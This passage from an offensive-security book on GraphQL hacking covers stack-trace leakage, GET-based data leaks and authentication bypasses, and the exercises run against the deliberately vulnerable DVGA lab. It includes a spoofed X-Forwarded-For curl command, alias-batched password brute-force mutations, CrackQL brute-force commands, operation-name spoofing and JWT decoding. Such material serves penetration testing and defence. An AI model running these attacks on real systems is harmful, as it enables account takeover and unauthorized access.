es/non-production-graphql-urls.txt) to test for verbose debug error
messages across multiple GraphQL subdomains and endpoints.

Many developers may also write debug messages to a browser’s console
by using the console.log function in JavaScript. In the browser’s developer
tools, use the Console tab to inspect console messages for possible debug
logs that may be attributed to GraphQL functionality.

Inferring Information from Stack Traces
Stack traces (also known as stack backtraces and stack tracebacks) are
function calls that an application executes when an exception error occurs.
This breadcrumb trail is extremely useful for developers trying to identify
failure conditions in their source code. But if these stack traces are made
available to hackers, we could use the sensitive information about the system
and source code to extract data and tailor future attacks.

As mentioned earlier, various GraphQL endpoints on the same server
could have different configuration settings. For example, DVGA’s /graphql
endpoint does not throw stack traces to client requests that raise an error.

https://github.com/dolevf/Black-Hat-GraphQL/blob/master/resources/non-production-graphql-urls.txt


However, the /graphiql endpoint, which provides access to graphical query
tools, is configured to return stack traces when an error is raised.

If you think about it, having different settings for each endpoint makes
sense. The assumption is that developers use graphical interfaces for
debugging and testing, so they might require verbose error messages to
identify bugs, something that isn’t necessary in production endpoints such as
/graphql.

Let’s practice taking advantage of this configuration. Using the browser,
navigate to DVGA at http://localhost:5013 and toggle on the Beginner mode
via the cubes menu icon. Next, to gain access to DVGA’s /graphiql endpoint
as a client, we’ll need to modify the env cookie from its default value of
graphiql:disable to graphiql:enable by using the browser’s developer
tools. You can access these by pressing CTRL-SHIFT-I or by right-clicking
anywhere in the browser window and selecting Inspect. Figure 6-3 shows
the Inspect window in Firefox.

You can modify the env cookie directly from the browser by clicking the
Storage tab, then Cookies, and selecting http://locahost:5013 from the
drop-down menu. You will need to double-click the value field.

Figure 6-3: The Firefox Inspect window showing DVGA cookies

After modifying the env cookie, you should be able to send queries from
the GraphiQL Explorer panel with typos in them. For example, try requesting
the nonexistent pastes field titled, as shown here:



query {
    pastes {
        titled
    }
}

The response should include a stack trace:

{ 
  "errors": [ 
    { 
      "message": "Cannot query field \"titled\" on type
 \"PasteObject\". 
                  Did you mean \"title\"?", 
      "extensions": { 
        "exception": { 
          "stack": [ 
            "  File \"/Users/dvga-user/Desktop/Damn-Vulner
able-GraphQL-Application
             /venv/lib/python3.x/site-packages/gevent/base
server.py\", line 34, 
             in _handle_and_close_when_done\n    return ha
ndle(*args_tuple)\n", 
--snip-- 
            "  File \"/Users/dvga-user/Desktop/Damn-Vulner
able-GraphQL-Application
             /venv/lib/python3.x/site-packages/flask/app.p
y\", line 2464, 
             in __call__\n    return self.wsgi_app(enviro
n, start_response)\n", 
--snip-- 
          ], 
          "debug": "Traceback (most recent call last):\n 
 File \"/Users/dvga-user/
           Desktop/Damn-Vulnerable-GraphQL-Application/ven
v/lib/python3.x/
           site-packages/flask_sockets.py\", line 40, in _
_call__\n ... 
          "path": \"/Users/dvga-user/Desktop/Damn-Vulnerab
le-GraphQL-Application
           /core/view_override.py" 
        } 
      } 
    } 



  ] 
}

The stack trace returns a wealth of information that we can use to uncover
vulnerabilities, such as dependencies, software versions, software
frameworks, and source code snippets. This stack trace also provides us
with information such as user account, filesystem, and operating system
details.

In DVGA, stack tracing is enabled only on the /graphiql endpoint that
GraphiQL Explorer uses to send queries to. This is to show you that
GraphQL endpoints could have different configurations, so you want to test
both if there is more than one.

Leaking Data by Using GET-Based Queries
As we mentioned in Chapter 1, some GraphQL implementations allow
clients to execute queries using the GET method, while others allow only
POST requests. Mutation operations in particular should be sent using only
POST methods. However, some implementations, like Scala-based Sangria,
may allow GET requests for mutation operations as well.

Because GET requests transmit data as query parameters in the URL, they
risk exposing sensitive information. For example, the following URL sends a
GET request to DVGA. We pass a phone number in the variables GET
parameter:

http://localhost:5013/graphql?query=query($phone: String) 
{ paste(title: $phone) { id title } }&variables={"phon
e":"555-555-1337"}

The same query can also be sent in the following manner, by omitting the
variables parameter and inserting the phone number directly into the query:

http://localhost:5013/graphql?query=query{ paste(title: "5
55-555-1337") { id title } }

In real applications, phone numbers are considered PII. These URLs will
show up in the web server access logs of GraphQL servers (such as Apache



or Nginx). Any sensitive information they contain may be logged in various
locations, such as in referrer headers and any forward or reverse proxies
between the requesting client and the server.

While this condition doesn’t directly give us information we don’t already
have, it’s important to highlight such cases to clients in your penetration tests
as something to be wary of.

Summary
In this chapter, we explored how to extract valuable information from our
targets by using a variety of tools and techniques. When introspection is
enabled, you can use InQL to automatically extract the schema from GraphQL
targets. When introspection is disabled, you can exploit a built-in GraphQL
feature known as field suggestions and “stuff” fields by using a tool called
Clairvoyance.

You learned how to identify and bypass poor attempts at disabling
introspection by using unblocked introspection meta-field queries. You also
learned to uncover system details by using verbose GraphQL error and debug
messages.

With all these GraphQL information disclosure tools and techniques, you
should feel confident about your ability to extract application secrets, user
details, PII, and system information that will propel your future GraphQL
attacks.



7
AUTHENTICATION AND

AUTHORIZATION BYPASSES

Out of the box, GraphQL has no
authentication or authorization controls.
As a result, the ecosystem has created its
own or adopted those seen in traditional
systems. In this chapter, we’ll cover the

common GraphQL authentication and authorization
implementations. Then we’ll discuss attacks that target
some of their weaknesses.

Authentication is the mechanism by which a client proves their identity to
a server. It answers the question: Is the user really who they say they are?
Authentication attacks target a client’s identity, attempting to either steal
credentials or spoof them to authenticate with a server, take certain actions
on their behalf, or steal data to which they have access.

Authorization controls are responsible for granting access to data and
ensuring that the actions an entity takes, whether they’re a human or a
machine, match their assigned roles, groups, and permissions. Authorization
attacks attempt to either bypass a security control entirely or poke holes in it,
allowing an attacker to take actions that wouldn’t otherwise be possible. For



example, they might gain unauthorized access to system data or perform
privileged actions, such as setting another user’s password.

Authentication and authorization controls can be challenging to implement.
This is especially true when an application creates its own mechanisms from
scratch instead of using the many battle-tested frameworks available for
specific programming languages. Performing security testing of such controls
is also a nontrivial task; security tools (such as API application scanners)
struggle to identify authorization and authentication issues. One of the
primary reasons is that scanners have no contextual understanding of the
application’s business logic.

For years, hackers have defeated both authentication and authorization
defenses by taking advantage of weak passwords, default credentials, forged
tokens, flawed account recovery processes, replay attacks, and poor rate-
limit controls. Not only is exploiting these weaknesses possible in GraphQL
implementations, but, in many cases, GraphQL’s client-empowering features
actually enable hackers to optimize their attacks, as you’ll soon learn.

The State of Authentication and Authorization
in GraphQL
The GraphQL spec has left implementers to fend for themselves when it
comes to authentication and authorization. This lack of a detailed standard
has led developers to select and deploy their own GraphQL authentication
and authorization controls from a variety of libraries, tools, and
configurations, often leading to vulnerabilities and implementation gaps.

In this section, we’ll sink our teeth into the ecosystem-driven
authentication and authorization services, libraries, and plug-ins available
for GraphQL. Broadly, these approaches follow two distinct architectural
deployment models: in-band and out-of-band.

In-Band vs. Out-of-Band
In an in-band authentication and authorization architecture, developers
implement client login, signup, role-based access controls, and other
permission controls directly in the GraphQL API. The same GraphQL



instance that provides clients with their application data also controls the
logic that authenticates clients and grants them permissions to view data. In-
band GraphQL architectures typically host query or mutation operations that
enable clients to send credentials to the API. The API is responsible for
verifying these credentials and then issuing tokens to the clients.

Out-of-band authentication and authorization architectures implement the
access control and permissions logic on either a separate internal web
application service or an external system. In such an architecture, the
GraphQL API isn’t responsible for managing client login, signup, or even
access control. Instead, it offloads authorization decisions to another
component, such as an API gateway, a container sidecar, or another server on
the network. This allows developers to decouple the authorization logic from
the GraphQL application.

Of the two architectural styles, in-band architectures tend to be more
vulnerable to authentication and authorization attacks. Their added
complexity increases an API’s attack surface drastically. These APIs often
duplicate permission logic for each entry point into the service, and as you’ll
see later in this chapter, we, as hackers, can take advantage of even the
slightest misaligned control.

Thus, some contributors to the GraphQL ecosystem advocate for keeping
authentication and authorization logic outside of GraphQL. The current
industry best practice is to delegate authorization logic to the business logic
layer of an application, which serves as the single source of truth for all
business domain rules. It should sit between the GraphQL layer and the
persistence layer (also known as the database or datastore layer), as shown
in Figure 7-1.



Figure 7-1: The gateway, API, business, and persistence layers

By contrast, authentication for the entire GraphQL API should occur in an
external or third-party gateway layer, which passes authenticated user
contexts along to the API.

Common Approaches
There is no way to know what kinds of controls you’ll come across during
your GraphQL hacking adventures. However, this section lists some of the
common approaches we’ve seen in our research and testing. By
understanding these techniques, you’ll be better equipped to detect them, as
well as evaluate the vulnerabilities to which they may be susceptible.

HTTP Basic Authentication
One of the most rudimentary GraphQL authentication methods is HTTP basic
authentication. Defined in RFC 7617, this scheme involves the inclusion of
a Base64-encoded username and password in the header of a client request.
The header looks as follows:

Authorization: Basic <base64_encoded_credential>



The Base64-encoded username and password are joined by a colon into a
single credential.

Basic authentication is a simple technique that does not require cookies,
session identifiers, or login pages. To detect basic authentication, we can use
our browser. Figure 7-2 is an example of an automatic browser pop-up used
to collect and encode credentials for basic authentication.

Figure 7-2: A browser pop-up example of basic authentication

One of the weaknesses of this method is the lack of confidentiality
protections in place when transmitting the credentials to a GraphQL server
over HTTP. Imagine a basic authentication header such as the following:

Authorization: Basic YWRtaW46YmxhY2toYXRncmFwaHFsCg==

Because the credentials are encoded using Base64 and sent on every
request (by contrast, other systems might generate a temporary session token
upon login), the attack window from which to steal such credentials is larger.
The risk of transmitting credentials over an unencrypted channel can be
mitigated through the use of TLS. However, if the credentials are stolen, an
attacker can Base64-decode them fairly easily. To test this, open your
terminal and run the following command:



# echo "YWRtaW46YmxhY2toYXRncmFwaHFsCg==" | base64 -d 
admin:blackhatgraphql

Another weakness in basic authentication is the lack of any supported
logout feature that would invalidate the credential. An attacker who steals
basic authentication credentials has permanent access to the API until an
admin changes the credentials. It’s rare to see basic authentication used in
production-grade applications. You have a higher chance of stumbling upon
the mechanism in testing or staging environments, as a quick-and-dirty
method of protecting the application, but anything is possible!

OAuth 2.0 and JSON Web Token
Open Authorization (OAuth) is an authorization framework that enables a
third party to obtain temporary access to an HTTP service such as a
GraphQL API. This access is obtained by orchestrating a grant process
between the user and the API, or by allowing a third-party application to
obtain access on behalf of the user.

You may have encountered OAuth in the past if you’ve ever logged in to a
website by clicking a button that says something like Log in with Google.
We’ll only scratch the surface of OAuth 2.0 in this section, but if you’re
interested in learning more about it, you can find information at https://datatr
acker.ietf.org/doc/html/rfc6749.

Imagine that you’re performing a penetration test against an application,
such as an e-commerce app, that has a login mechanism in place to prevent
unauthorized access. The OAuth protocol allows the e-commerce app (or the
client, in OAuth terminology) to request authorization from a resource owner
(you, the penetration tester, who needs to log in). When the authorization
request is granted (also called an authorization grant), the e-commerce app
will obtain an access token that it can use to access certain resources on a
resource server. This resource server can be a GraphQL server. It will check
the access token and, if it is found valid, service the request by allowing the
client to perform queries to a resource (also called a protected resource).

Applications that leverage the OAuth 2.0 framework can use JSON Web
Token (JWT) as their token format. JWT is an open standard (defined in RFC
7519) that allows for the secure transmission of information between systems

https://datatracker.ietf.org/doc/html/rfc6749


via a JSON object. Servers can verify JWT tokens through digital signatures
and encryption. A JWT token comprises three distinct sections that are
Base64-encoded and separated by periods (.), as shown in Listing 7-1.
These three parts are the header, payload, and signature.

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0eXBlIjoiYWNjZXNzI
iwiaWF0Ijo 
xNjU2NDY0MDIyLCJuYmYiOjE2NTY0NjQwMjIsImp0aSI6ImY0OThmZmQxL
WU0YzctNGU 
5Mi05ZTRhLWJiNzRiZmVjZTE4ZiIsImlkZW50aXR5Ijoib3BlcmF0b3IiL
CJleHAiOjE 
2NTY0NzEyMjJ9.NHs6JiLDONJsC9LpJzdBB8enXzIrqI0Cvqojj8SqA4s

Listing 7-1: A sample JWT token

The header, or the JWT token’s first section, defines two important
details: the type of token and the signing algorithm. When we Base64-decode
this header, we should be able see its contents:

# echo eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 | base64 -d 
 
{ 
  "typ": "JWT", 
  "alg": "HS256" 
}

NOTE

To encode and decode entire JWT tokens and verify their signatures
by using a graphical interface, you can use https://jwt.io. Keep in
mind that, in order to verify a JWT token’s signature, you must have
the secret used to sign the token.

The typ key is a header parameter that declares structural media type
information about the JWT token. In this case, the media type is JWT. The full
list of possible media types can be found at https://www.iana.org/assignmen
ts/media-types/media-types.xhtml. This header parameter is considered
optional but can be set so the application reading the header is aware of the
object type structure.

https://jwt.io/
https://www.iana.org/assignments/media-types/media-types.xhtml


The alg key defines the JWT token’s signing algorithm used to ensure the
token’s integrity. This key can represent different signing algorithms, such as
these:
No digital signature (none)
HMAC with SHA-256 (HS256)
HMAC with SHA-384 (HS384)
RSA with SHA-256 (RS256)
RSA with SHA-384 (RS384)

Hash-based message authentication code (HMAC) is a symmetric
cryptographic authentication technique (meaning it uses a shared secret),
whereas Rivest-Shamir-Adleman (RSA) is asymmetric (using public- and
private-key pairs). The full list of signing algorithms can be found in RFC
7518.

A common attack against applications using JWT involves setting the alg
header parameter to none. If an application accepts unsigned JWT tokens,
hackers can tamper with their JWT token to identify as another user or
perform sensitive actions.

The payload section, or the second part of the JWT, contains relevant
information about the user, as well as any additional data the developers
might find useful to include. In our example, the decoded payload should
match this output:

# echo "eyJ0eXBlIjoiYWNjZXNzIiwiaWF0IjoxNjU2NDY0MDIyLCJuYm
YiOjE2NTY0NjQwMjIs
Imp0aSI6ImY0OThmZmQxLWU0YzctNGU5Mi05ZTRhLWJiNzRiZmVjZTE4Zi
IsImlkZW50aXR5Ijoi
b3BlcmF0b3IiLCJleHAiOjE2NTY0NzEyMjJ9" | base64 -d 
{ 
  "type": "access", 
  "iat": 1656464022, 
  "nbf": 1656464022, 
  "jti": "f498ffd1-e4c7-4e92-9e4a-bb74bfece18f", 
  "identity": "operator", 
  "exp": 1656471222 
}



Most JWT payloads will include a few standard elements, called claims,
including an iat field, which represents the timestamp at which the JWT was
initiated, and the exp field, which represents the expiry timestamp in Unix
timestamp format. You can learn more about JWT fields by reading the RFC
7519 documentation.

The last part of the JWT is the signature, which ensures that the entire
JWT wasn’t tampered with. Any manual change to the JWT should invalidate
this signature, causing the GraphQL server to reject the token. As you’ll soon
learn, vulnerabilities in a GraphQL server’s signature verification may allow
an attacker to forge JWT tokens. In “Forging and Leaking JWT Credentials”
on page 178, we’ll touch on a few common JWT implementation weaknesses
and how to exploit them.

NOTE

OAuth 2.0 can also be used to protect graphical GraphQL clients.
You can find a project that adds OAuth protection support to
GraphQL Playground at https://github.com/autom8ter/oauth-graph
ql-ide.

GraphQL Modules
When testing JavaScript-based GraphQL implementations, you may come
across a utility library known as GraphQL Modules, built by The Guild (http
s://www.the-guild.dev). This library separates GraphQL schemas into
smaller, reusable modules that act as middleware. Developers can then use
these to wrap their resolvers. Listing 7-2 is the Authentication module, which
provides GraphQL clients with a standard set of login, signup, and user-
lookup mutations and queries.

extend type Query { 
  me: User 
} 
 
type Mutation { 
   login(username: String!, password: String!): User 
   signup(username: String!, password: String!): User 
} 

https://github.com/autom8ter/oauth-graphql-ide
https://www.the-guild.dev/


 
extend type User { 
  username: String! 
} 

Listing 7-2: The Authentication module from the GraphQL Modules
library

As you can see, the module defines a query named me that returns a User
object, as well as two mutations, named login and signup, that accept
username and password arguments and return a User object.

Developers could also implement custom login query and signup
mutation operations in their GraphQL APIs without using an external library.
In “Authentication Testing” on page 171, we’ll teach you how to defeat in-
band authentication operations like the examples mentioned here by using
batched queries, introduced in Chapter 5, and CrackQL, installed in Chapter
2.

GraphQL Shield
GraphQL Shield is another middleware library, built by The Guild, for
generating an authorization layer in GraphQL APIs. It allows developers to
define rules that either permit or deny client access. Listing 7-3 shows
queries and mutations protected by GraphQL Shield, which defines the
permissions and roles required to access each query.

const permissions = shield({ 
  Query: { 
    frontPage: not(isAuthenticated), 
    fruits: and(isAuthenticated, or(isAdmin, isEditor)), 
    customers: and(isAuthenticated, isAdmin), 
  }, 
  Mutation: { 
    addFruitToBasket: isAuthenticated, 
  }, 
  Fruit: isAuthenticated, 
  Customer: isAdmin, 
})

Listing 7-3: A GraphQL Shield code example



Clients wishing to use the frontPage query don’t have to be
authenticated, as defined by the rule not(isAuthenticated), whereas to
use the customers query, they have to both be authenticated and have an
admin user, as indicated by and(isAuthenticated, isAdmin). The and
operator mandates that both conditions must be true for permission to be
granted.

A developer community actively maintains GraphQL Shield and
continuously improves it. As of this writing, the last documented
vulnerability in GraphQL Shield was an authorization bypass that dates back
to 2020 in versions earlier than 6.0.6.

When performing a code review, look for the GraphQL Shield component
called the fallbackRule. This rule can determine whether a request should
be allowed or denied by default whenever a rule is not defined. By default,
fallbackRule is set to allow. To read more about GraphQL Shield rules,
refer to the official documentation at https://www.graphql-shield.com/docs/r
ules#logic-rules.

Schema Directives
GraphQL deployments might use custom schema-level directives to apply
both authentication and authorization controls on certain operations and
fields. By decorating schema components, these custom directives can
control what clients can and can’t do in the API. We can use them to enforce
security at the query level, type level, field level, and so on.

The graphql-directive-auth library (https://github.com/graphql-communit
y/graphql-directive-auth) provides one example of how developers could
apply directives to solve authentication and authorization gaps in their APIs.
In some implementations, the @auth directive accepts a requires argument,
which takes a string value representing the role or group a user needs in
order to query the field. Clients usually send these user groups or roles
through a JWT payload. The directive logic analyzes these to either allow or
deny access to protected elements of the schema.

Authorization directives can have various other names or arguments. Table
7-1 is a list of common ones you might encounter in your introspection hunts.

https://www.graphql-shield.com/docs/rules#logic-rules
https://github.com/graphql-community/graphql-directive-auth


Table 7-1: Common GraphQL Authorization Directives

Directive name Argument name Argument type
@auth requires String

@protect role String

@hasRole role String

Some @auth directives might also use an argument called permissions,
which accepts a list of scope grants.

IP-Based Allow Listing
Some GraphQL APIs, particularly those deployed in internal systems that
aren’t public facing, may choose not to authenticate individual client
requests. Instead, they might opt to use an allow list of source IP addresses to
authorize clients. In this technique, the server checks the client IP address
included in a network request against a list of addresses or network range
(such as 10.0.0.0/24).

This IP address often gets passed to the API by a public-facing network
device, such as a reverse proxy or a load balancer. Applications will then
attempt to discover the IP address by looking for HTTP headers set on
incoming requests. A few common HTTP headers for this purpose are X-
Forwarded-For, X-Real-IP, X-Originating-IP, and X-Host.

Because clients can spoof these headers, reverse proxies may blindly
forward misinformation to the application. For example, here is how you
might pass a custom X-Forwarded-For header to DVGA with cURL:

# curl -X POST http://localhost:5013/graphql -d '{"quer
y":"{ __typename }"}'
-H "Content-Type: application/json" -H "X-Forwarded-For: 1
0.0.0.1"

If the application allows only requests to the GraphQL API that originate
from the network 10.0.0.0/24, injecting such a header at a later stage could
allow an attacker to bypass the IP-based allow list and communicate with the
application.



Authentication Testing
When you’re testing GraphQL authentication, you’ll encounter certain
operations that aren’t protected by any authentication layer. For example,
unauthenticated users might have access to queries, while only authenticated
users might be able to perform more sensitive, state-changing actions using
mutations. You might find this model in use on a blog: any client can read
posts, whereas only authenticated users can write comments.

It’s important to do a thorough scan of the target GraphQL server and
schema for any unprotected queries. This section will outline how you can
detect and defeat certain GraphQL authentication controls.

Detecting the Authentication Layer
One of the best ways to determine whether a target GraphQL application is
protected by an authentication layer is by sending it a canary query. Use
either of the introspection queries from Chapter 6 or craft your own to probe
the schema for a range of operations, objects, and types. Depending on the
response you receive, you may be able to detect the type of authentication
used, as well as the layer at which authentication controls are implemented.
In particular, keep an eye out for status codes, error messages, and
differences in the responses to query variations.

HTTP Status Codes
A sure way to verify that some sort of authentication layer exists on a
GraphQL target is by analyzing the HTTP response you receive after sending
a canary query. Most GraphQL implementations will always return a 200 OK
status code, even when the query contains typos or errors. However, if you
receive a 403 Forbidden Error, it’s possible that out-of-band authentication
and authorization control, like a gateway or a WAF, has blocked your request
from reaching the API in the first place.

Error Messages
Error messages can obviously reveal the presence of authentication controls,
but they might also tell us exactly what type of authentication the API



requires and where in the architecture these checks occur. Table 7-2 shows a
list of common in-band GraphQL authentication error messages and the
authentication implementation known to raise the error message by default.

Table 7-2: Common GraphQL Authentication Errors

Error message Possible authentication
implementation

Authentication credentials are missing. Authorization header
is required and must contain a value.

OAuth 2.0 Bearer with
JSON Web Token

Not Authorised! GraphQL Shield
Not logged in
Auth required
API key is required

GraphQL Modules

Invalid token!
Invalid role!

graphql-directive-auth

Error messages can be customized and might differ from those shown here.
Reference Chapter 6 for additional information on how to abuse errors to
extract valuable information from GraphQL. For example, a combination of a
200 OK status code and an error message could indicate that authentication is
required. Because these details may vary from one GraphQL API to another,
we recommend checking all avenues.

Authentication-Related Fields
Another great way to detect an authentication layer is to use introspection
queries to identify any authentication-related query or mutation operations.
By design, in-band GraphQL authentication requires authentication, session
management, and identity-based operations. For example, a client will most
likely need to send unauthenticated mutation requests that perform login and
sign-up operations to create and access their authenticated accounts. We can
use the introspection query in Listing 7-4 to analyze the schema for any
mutation operations related to authentication.

{ 
  __schema { 
    mutationType { 
      name 
      kind 
      fields { 



        name 
        description 
      } 
    } 
  } 
}

Listing 7-4: An introspection query used to identify all mutations

Check whether the query returns any mutation names similar to these:
me

login

logout

signup

register

createUser

createAccount

If so, you can infer that the API has an authentication layer, which means
you can begin testing its resiliency against password brute-force attacks.

Brute-Forcing Passwords by Using Query Batching
A classic authentication attack, password brute-forcing works against
systems that fail to implement rate limits or other automated account-takeover
prevention controls. To perform one, an attacker sends many login requests to
a system in an attempt to correctly guess a password. This programmatic
attack usually accepts a dictionary of possible user credentials or iterates
through a sequence of characters to generate possible credential
combinations.

Security controls such as WAFs are great at preventing excessive numbers
of HTTP requests from a single client, and often throttle or ban the client
when they detect such activity. However, in Chapter 5, we introduced query
batching, which essentially allows a client to pack multiple query operations
in a single HTTP request. We can take advantage of this batching feature to



brute-force credentials by using several operations in only a single HTTP
request, effectively evading security controls such as WAFs.

There are two types of batch operations: array-based and alias-based.
Tools like BatchQL leverage array-based query batching to send multiple
operations in a single request. However, if you return to the GraphQL Threat
Matrix screenshot shown in Figure 3-4 of Chapter 3, you’ll notice that few
GraphQL implementations support this type of batching. By contrast, all
major GraphQL implementations support alias-based query batching, as it’s
defined in the GraphQL spec.

Let’s use aliases to execute a password brute-force attack against DVGA’s
GraphQL’s authentication layer. First, we’ll need to include multiple login
operations with different credentials in a single GraphQL document. Listing
7-5 shows a GraphQL document with 10 login mutation aliases targeting the
admin and operator user accounts in DVGA. You can also find the query in
the book’s GitHub repository at https://github.com/dolevf/Black-Hat-Graph
QL/blob/master/ch07/password-brute-force.graphql.

Each alias operation has a unique identifier, as well as a target username
and a potential password. If one of the operations succeeds, the server
should return the attacked user’s JWT access token (accessToken) in the
response:

mutation { 
    alias1: login(username: "admin", password: "admin") { 
      accessToken 
    } 
    alias2: login(username: "admin", password: "password") 
{ 
      accessToken 
    } 
    alias3: login(username: "admin", password: "pass") { 
      accessToken 
    } 
    alias4: login(username: "admin", password: "pass123")
 { 
      accessToken 
    } 
    alias5: login(username: "admin", password: "password12
3") { 
      accessToken 
    } 

https://github.com/dolevf/Black-Hat-GraphQL/blob/master/ch07/password-brute-force.graphql


    alias6: login(username: "operator", password: "operato
r") { 
      accessToken 
    } 
    alias7: login(username: "operator", password: "passwor
d") { 
      accessToken 
    } 
    alias8: login(username: "operator", password: "pass")
 { 
      accessToken 
    } 
    alias9: login(username: "operator", password: "pass12
3"){ 
      accessToken 
    } 
    alias10: login(username: "operator", password: "passwo
rd123"){ 
      accessToken 
    } 
}

Listing 7-5: A password brute-forcing example using batched queries

Executing this password brute-force query against DVGA will result in the
large response shown next. As you can see, most of this data consists of
Authentication Failure errors. However, for alias10, we receive a
valid accessToken, meaning we correctly brute-forced the operator
password, which was set to password123.

{ 
  "errors": [ 
    { 
      "message": "Authentication Failure", 
      "locations": [ 
        { 
          "line": 2, 
          "column": 5 
        } 
      ], 
      "path": [ 
        "alias1" 
      ] 
    }, 
--snip-- 



    { 
      "message": "Authentication Failure", 
      "locations": [ 
        { 
          "line": 26, 
          "column": 5 
        } 
      ], 
      "path": [ 
        "alias9" 
      ] 
    } 
  ], 
  "data": { 
    "alias1": null, 
--snip-- 
    "alias9": null, 
    "alias10": { 
      "accessToken": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ
9.eyJ0eXBlIjoiYWNjZXNzI 
iwiaWF0IjoxNjU2OTcxMDc5LCJuYmYiOjE2NTY5NzEwNzksImp0aSI6IjQ
3NmEwYTYxLTk0OGUtNDZmO 
S05ZDBmLTFlMzk3MDAxMTNjYiIsImlkZW50aXR5Ijoib3BlcmF0b3IiLCJ
leHAiOjE2NTY5NzgyNzl9.NJ 
ZOugXBwG-0oEcT2UtH-xeBFwqxS0_5Ag1Y7-L3EgI" 
    }

Even if a security control protected the API by banning clients from
making more than, say, five HTTP login requests per minute, this attack
would evade such logic, because we sent only a single HTTP request while
performing 10 login attempts.

Brute-Forcing Passwords with CrackQL
Manually building the large GraphQL document needed to successfully brute-
force login credentials would be extremely time-consuming. In Chapter 2,
you installed a GraphQL password brute-forcing and fuzzing tool called
CrackQL. This tool accepts a single GraphQL query or mutation operation
and automatically generates the alias payloads by using a CSV wordlist.
Let’s run the same password brute-force attack but, this time, use CrackQL to
automate it.



Enter the CrackQL directory and then execute the brute-force attack against
DVGA. The -t (target) argument specifies the destination GraphQL endpoint
URL, the -q (query) argument takes a sample query (login.graphql), and
the -i (input) argument defines the list of usernames and passwords to use in
the attack. The --verbose argument allows us to view additional
information such as the final payload before it is sent to DVGA.

# cd ~/CrackQL 
# python3 CrackQL.py -t http://localhost:5013/graphql -q s
ample-queries/login.graphql
-i sample-inputs/usernames_and_passwords.csv --verbose

CrackQL comes preinstalled with a sample username and password CSV
dictionary, as well as the login.graphql query, shown in Listing 7-6. As you
can see, it contains a single login mutation with two embedded variables,
username and password. CrackQL uses Jinja-templating syntax, so
variables are passed using double curly brackets ({{}}).

mutation { 
  login(username: {{username|str}}, password: {{password|s
tr}}) { 
    accessToken 
   } 
}

Listing 7-6: The sample CrackQL login brute-force query

When you execute the CrackQL command, the tool will automatically take
each username and password variable from the CSV file and inject them into
a duplicated login operation in the same query document. CrackQL’s verbose
output provides payload details, as well as the output results:

Data: 
[{'alias1': {'data': None, 
             'inputs': {'password': 'admin', 'username':
 'admin'}}}, 
--snip-- 
 
 {'alias9': {'data': None, 
             'inputs': {'password': 'operator', 'usernam
e': 'pass123'}}}, 



 {'alias10': {'data': {'accessToken': 'eyJ0eXAiOiJKV1QiLCJ
hbGciOiJIUzI1NiJ9.eyJ0eXBlIjoiYWNjZXNzIiwiaWF0IjoxNjU3MDQ2
NjI5LCJuYmYiOjE2N
TcwNDY2MjksImp0aSI6IjVkMzhkM2Y5LWNjNTUtNDcyYy1iNzRhLThiN2F
lMzEyNGFlMiIsImlkZW50aXR5Ijoib3BlcmF0
b3IiLCJleHAiOjE2NTcwNTM4Mjl9.Ba3zfvSZqjDmyLFdx71WCs-7vidax
pUfs2X3UK3zZBA'}, 
              'inputs': {'password': 'password123', 'usern
ame': 'operator'}}}] 
Errors: 
[{'alias1': {'error': 'Authentication Failure', 
             'inputs': {'password': 'admin', 'username':
 'admin'}}}, 
 {'alias2': {'error': 'Authentication Failure', 
             'inputs': {'password': 'admin', 'username':
 'password'}}}, 
--snip-- 
 
 {'alias9': {'error': 'Authentication Failure', 
             'inputs': {'password': 'password123', 'userna
me': 'operator'}}}] 
[*] Writing to directory results/localhost:5013_5bab6e

In cases where GraphQL query cost controls prevent the execution of large
query batches, CrackQL has an optional -b (batch) argument, which you can
use to define a more limited set of aliased operations, allowing your attack to
fly under the radar.

You could also use CrackQL for a variety of other attacks. Using a list of
possible one-time password tokens, CrackQL could brute-force two-factor
authentication. It can also perform account enumeration attacks, by
automating the scanning for valid emails or usernames, or fuzz for unique
object identifiers to exploit insecure direct object reference (IDOR)
vulnerabilities, where, by directly referencing an object identifier, we are
able to access the object without being authorized to do so.

When performing attacks against authenticated queries, you’ll likely need
to pass it authentication headers and possibly cookies. CrackQL allows you
to do so using the config.py file, which accepts COOKIES and HEADERS
variables. Here is an example of how to supply the tool with custom headers
and cookies:



# cat config.py 
 
HEADERS = {"Authorization": "Bearer mytoken"} 
COOKIES = {"session:"session-secret"}

When performing a penetration test, you can obtain these headers by
inspecting the network traffic with tools such as the Firefox Developer
Tools’ Network tab. Look at any GraphQL requests that are sent after you
perform an initial login to a website. At that point, you should see unique
authentication headers or session cookies.

Using Allow-Listed Operation Names
Certain in-band GraphQL implementations may make some queries and
mutations publicly available for unauthenticated clients, such as those for
login or account registration. Some of these deployments use operation
name-based allow lists, a weak enforcement control, to reject all
unauthenticated requests unless their operation names are in an allow list.
However, operation names can be defined by the client, so an attacker can
bypass these authentication mechanisms by simply spoofing an operation’s
name.

The following is an example of an unauthenticated mutation. As you can
see, it would allow a user to register a new user account:

mutation RegisterAccount { 
    register(username: "operator", password: "password"){ 
        user_id 
    } 
}

An implementation may choose to allow-list this register operation by
using its operation name RegisterAccount. As attackers, we can take
advantage of this by sending a request like the one in Listing 7-7.

mutation RegisterAccount { 
    withdrawal(amount: 100.00, from: "ACT001", dest: "ACT0
02"){ 
        confirmationCode 
    } 
}



Listing 7-7: An example operation that could bypass authentication by
using an allow-listed operation name

We used the allowed operation name to withdraw money with a
withdrawal mutation.

Forging and Leaking JWT Credentials
While JWT tokens can be encrypted using JSON Web Encryption (RFC
7516), they often aren’t. And when they aren’t, they may leak sensitive data.
For example, take a look at the payload section of the following:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0eXBlIjoiYWNjZXNzI
iwiaWF0IjoxNj
U3MDQ2NjI5LCJuYmYiOjE2NTcwNDY2MjksImp0aSI6IjVkMzhkM2Y5LWNj
NTUtNDcyYy1iN
zRhLThiN2FlMzEyNGFlMiIsImlkZW50aXR5Ijoib3BlcmF0b3IiLCJleHA
iOjE2NTcwNTM4
MjksImFwaV90b2tlbiI6IkFQSV9TRUNSRVRfUEFTU1dPUkQifQ.iIQ9zMR
P2bA0Yx8p7INu 
rfC-PcVz3-KqfzEE4uQICbc

When we Base64-decode the payload, we discover a hardcoded
credential, api_token, in the payload section:

{ 
  "type": "access", 
  "iat": 1657046629, 
  "nbf": 1657046629, 
